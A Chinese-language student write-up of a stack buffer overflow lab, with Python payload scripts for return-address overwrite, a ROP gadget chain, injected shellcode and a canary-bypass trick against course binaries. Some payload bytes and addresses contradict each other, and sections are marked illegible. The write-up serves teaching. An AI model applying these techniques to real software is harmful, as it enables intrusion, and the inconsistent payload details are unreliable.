

# 栈溢出攻击实验

## 题目解决思路

出于对彩色分块汇编代码的好奇，我下载了ida；发现前3个problem思路框架相似，本质是让程序执行我想要的代码，一步步进入圈套，最后输出目标字符串；第4个problem的关键是绕过金丝雀返回，所以需要调用函数

### Problem 1:

- **分析：**此题较为简单，我们只需要构造payload实现两个功能：覆盖buffer和ebp，以及将返回地址覆盖为我需要跳转的地址。  
第一步很好解决，查看func的内部定义可以知道，buffer和ebp都是8字节，所以我们可以用16字节的'A'进行覆盖；  
第二步，我们跳转到哪里可以打印目标字符串呢？在汇编代码中查找'Yes!! like ICS!'，发现打印指令出现在func1中，所以我们只需要让程序跳转到func1的入口处，即为0x401216，将其补全为8字节并按照小端存取的方式追加在第一步构造的字符串后。所以我们就得到了十六字节的payload。
- **解决方案：** payload = b'AAAAAAAAAAAAAAAAAA\x16\x12@\x00\x00\x00\x00\x00'

```
import struct
padding_len = 16 # buffer+ebp
# func1 函数的起始地址
target_addr = 0x401216
padding = b'A' * padding_len
address_bytes = struct.pack("<Q", target_addr)
payload = padding + address_bytes
print(payload)
with open("ans1.txt", "wb") as f:
    f.write(payload)
print(f"Payload已生成，跳转目标: {hex(target_addr)}")
```

- **结果：**

```
jy0307@wujiayi:~/cache/Microsoft/DeveloperTools/attack-lab-WuJiayi0307$ python3 ans1.py
b'AAAAAAAAAAAAAAAAAA\x16\x12@\x00\x00\x00\x00\x00'
Payload已生成，跳转目标: 0x401216
jy0307@wujiayi:~/cache/Microsoft/DeveloperTools/attack-lab-WuJiayi0307$ ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!
```

## Problem 2:

- **分析：**乍一看会觉得这题和problem1很像，于是我们顺着problem1的思路寻找'Yes!! like ICS!', 发现它出现在func2中，入口地址为0x401216，但是func2需要两个参数，函数会检查第一个参数的值是否为1016，那我们怎样把1016这个参数传给func2呢，这需要我们在跳转前已经把这个数放在寄存器rdi中，而此题的栈是不可执行的，所以我们需要在本题已有的汇编代码中找到对应的指令，使用指令：

```
objdump -d problem2 | grep -A 1 "pop.>%rdi"
```

得到地址0x4012c7；

所以我们需要在覆盖buffer和ebp后，使程序依次跳转到0x4012c7和0x401216；

与problem1同理，在16字节'A'后按照小端存取，先追加所需move rdi指令的地址，再填入1016，最后填入func2的地址（注意全部扩充为8字节）。

- **解决方案：** payload =  
b'AAAAAAAAAAAAAAAA\x07\x12@\x00\x00\x00\x00\x00\xf8\x03\x00\x00\x00\x00\x00\x16\x12@\x00\x00\x00\x00\x00'

```
import struct
padding_len = 16 # buffer+ebp

gadget_addr = 0x4012c7
right_addr = 0x3f8
# func1 函数的起始地址
target_addr = 0x401216

padding = b'A' * padding_len
payload = padding
payload+=struct.pack("<Q", gadget_addr)
payload+=struct.pack("<Q", right_addr)
payload+=struct.pack("<Q", target_addr)
print(payload)
with open("ans2.txt", "wb") as f:
    f.write(payload)

print(f"Payload已生成, 跳转目标: {hex(target_addr)}")
```

- **结果：**

```
jy0307@wujiayi:~/\.cache/Microsoft/DeveloperTools/attack-lab-WuJiayi0307$ python3 ans2.py
b'AAAAAAAAAAAAAA\xc7\x12@\x00\x00\x00\x00\x00\xf8\x03\x00\x00\x00\x00\x00\x16\x12@\x00\x00\x00\x00\x00'
Payload已生成，跳转目标：0x401216
jy0307@wujiayi:~/\.cache/Microsoft/DeveloperTools/attack-lab-WuJiayi0307$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes!I like ICS!
```

### Problem 3:

- [illegible]

```

import struct
# func1的地址
func1_addr = 0x401216

# jmp_xs的地址,跳回buffer开头
jmp_xs_addr = 0x401334
# 构造 Shellcode 调用 func1(114)
# 汇编逻辑:
#   push 0x72          (将 114 压栈)
#   pop rdi            (弹入 RDI 寄存器, 这是 func1 的参数)
#   mov eax, 0x401216 (将 func1 地址放入 RAX)
#   call rax           (调用 func1)

shellcode = b''
shellcode += b'\x6a\x72'          # push 0x72 (114)
shellcode += b'\x5f'             # pop rdi
shellcode += b'\xb8\x16\x12\x40\x00' # mov eax, 0x401216 (func1_addr)
shellcode += b'\xff\xd0'         # call rax
print(f"Shellcode 长度: {len(shellcode)} 字节")

# shellcode在buffer最开头
# buffer32字节, 填入 shellcode, 剩下的用 NOP (0x90) 填充
padding_len = 32 - len(shellcode)
payload = shellcode + b'\x90' * padding_len

# 覆盖 RBP
payload += b'B' * 8

# 覆盖返回地址指向 jmp_xs
# func返回时执行jmp_xs, 跳回shellcode
payload += struct.pack('<Q', jmp_xs_addr)

print(f"Payload 总长度: {len(payload)} 字节")

with open("ans3.txt", "wb") as f:
    f.write(payload)

print(payload)

```

- 结果:

[illegible]

### Problem 4:

- **分析：**程序在rbp-8的位置放入了Canary值，如果攻击这像通过覆盖返回地址来实现目的，这个过程会覆盖中间的buffer，ebp等（当然也包括Canary），最终只要程序返回，必定会经过Canary，所以Canary的值一旦被修改就会被检查到，输出被攻击提示。那么我们想要实现攻击，必须要绕过Canary，那么怎样可以使得函数返回时不经过Canary呢？

我们观察发现，如果调用func，只要满足某些条件，程序会调用func1之后exit退出，所以我们的关键在于找到触发func1的条件；阅读汇编代码知，程序会要求我们给func输入一个参数a，并且备份为b，逻辑如下：

```
if ( a >= 0xFFFFFFFF )
{
    for ( i = 0; i < 0xFFFFFFFF; ++i )
        --b;
    if ( b == 1 && a == -1 )
    {
        func1();
        exit(0);
    }
    puts("No! I will let you fail!");
}
else ...
```

所以func需要的输入是-1;

- **解决方案：**运行problem，在看到提示'if you give me enough yuanshi,I will let you pass!'后，输入-1（所谓的原石），然后程序输出目标字符串并自动退出，攻击完成。
- **结果：**

```
● jy0307@wujiayi:~/ .cache/Microsoft/DeveloperTools/attack-lab-WuJiayi0307$ ./problem4
hi please tell me what is your name?
吴佳忆
hi! do you like ics?
Yes!
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
○ jy0307@wujiayi:~/ .cache/Microsoft/DeveloperTools/attack-lab-WuJiayi0307$
```

## 思考与总结

attack，顾名思义是要找到薄弱的地方，对于程序而言往往就是设计上的漏洞，我们目前遇到的类型都是通过输入超长字符串影响程序的运行，让程序一步一步走向我们需要的输出或者目的，手段无非是让程序跳来跳去，或者进行一些拦截，提前退出等。

## 参考资料

《深入理解计算机系统》

《助教们的巧妙设计与耐心讲解》